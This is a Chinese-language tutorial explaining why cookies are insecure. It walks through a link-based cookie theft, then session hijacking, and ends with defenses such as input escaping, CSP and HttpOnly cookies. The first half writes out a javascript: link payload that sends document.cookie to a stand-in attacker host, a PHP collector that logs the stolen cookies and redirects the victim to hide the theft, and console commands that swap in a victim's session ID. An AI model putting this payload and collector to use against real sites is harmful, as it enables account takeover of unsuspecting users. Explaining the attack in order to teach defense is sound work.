都說cookie不安全,現在通過一個很簡單的例子來說明它爲什麼不安全。
對於cookie的概念這裏就不做闡述了。前端截取cookie的方式有多種,下面介紹一種比較簡單的手法。
首先:
小黑會在各種網站發佈帖子,然後在某些特定的地方添加吸引人點擊的內容,而該內容會有一些超鏈接。比如在A網站,小黑在發佈的內容中加個超鏈接:
<a href=”JS_URL” target=”_blank”>點擊我,跳轉到B網站</a>
然後JS_URL 用如下形式:
javascript:window.location.href='http://www.getcookie.com/info.php?usercookie='+document.cookie;
或者
javascript:window.open('http://www.getcookie.com/info.php?usercookie='+document.cookie);
然後:
小黑在自己的服務器上也就是www.getcookie.com 上寫好腳本info.php,接收以上超鏈接傳輸過來的cookie。
Info.php
<?php
$info=$_GET[‘usercookie’];
if($info){
file_put_contents('./cookie_log.txt', $info.PHP_EOL, FILE_APPEND);
}
header("Location:http://www.B.com");//因爲超鏈接是要跳轉到B網站,拿到cookie後再給他跳轉,不容易被發現。
最後:
小黑拿到其他用戶的cookie後,在A網站登錄自己的賬號,然後只需要將自己賬號的cookie改成前面截取到的cookie。具體步驟:
進入F12的控制檯,執行:document.cookie = 'PHPSESSID= aaaaaaaaaaaa;'; 有的網站有多個cookie,每個cookie會對應不同子域名,所有這種需要在設置cookie時加上有效的域名和目錄等。比如:document.cookie = PHPSESSID =aaaaaaaaaaaa;'+ 'path=/;'+ 'domain=.A.com'; 表示一級域名下有效。
如果沒有A網站的賬號,也可以直接設置cookie到該網站的域名下,不過這樣可能花費的調試時間多些,因爲有些網站有多個cookie,各個cookie對應的子域名、目錄等可能不一樣。如果自己有一個賬號,只要登錄後替換對應鍵的cookie值就可以了。
除了在控制檯執行document.cookie,也可以Application項目的Cookies欄目下修改cookie值。
刷新一下,就能獲得別人賬號的權限了。
對於這種XSS攻擊,有時真的是防不勝防,但也還得防。
防範方式:
1)字符的過濾,將用戶輸入的字符進行特殊字符過濾或轉義,比如空格,單引號,雙引號,尖括號等;
2)避免cookie中泄露用戶隱私,也可以通過cookie和ip綁定來降低泄露風險。
3)提交表單儘量用POST而非GET
4)內容安全策略——CSP(Content-Security-Policy),一種以可信白名單作機制,來限制網站中是否可以包含某來源內容。默認配置下不允許執行內聯代碼
5)設置cookie爲httponly。這樣前端就無法通過document.cookie截取到該cookie值。比如php的設置方法:
方法一、在php.ini配置文件中進行cookie只讀設置的開啓 :session.cookie_httponly = On
方法二、在php代碼頂部設置
<?php
ini_set("session.cookie_httponly", 1);
//php5.1以前版本設置方法:header("Set-Cookie: hidden=value; httpOnly");
?>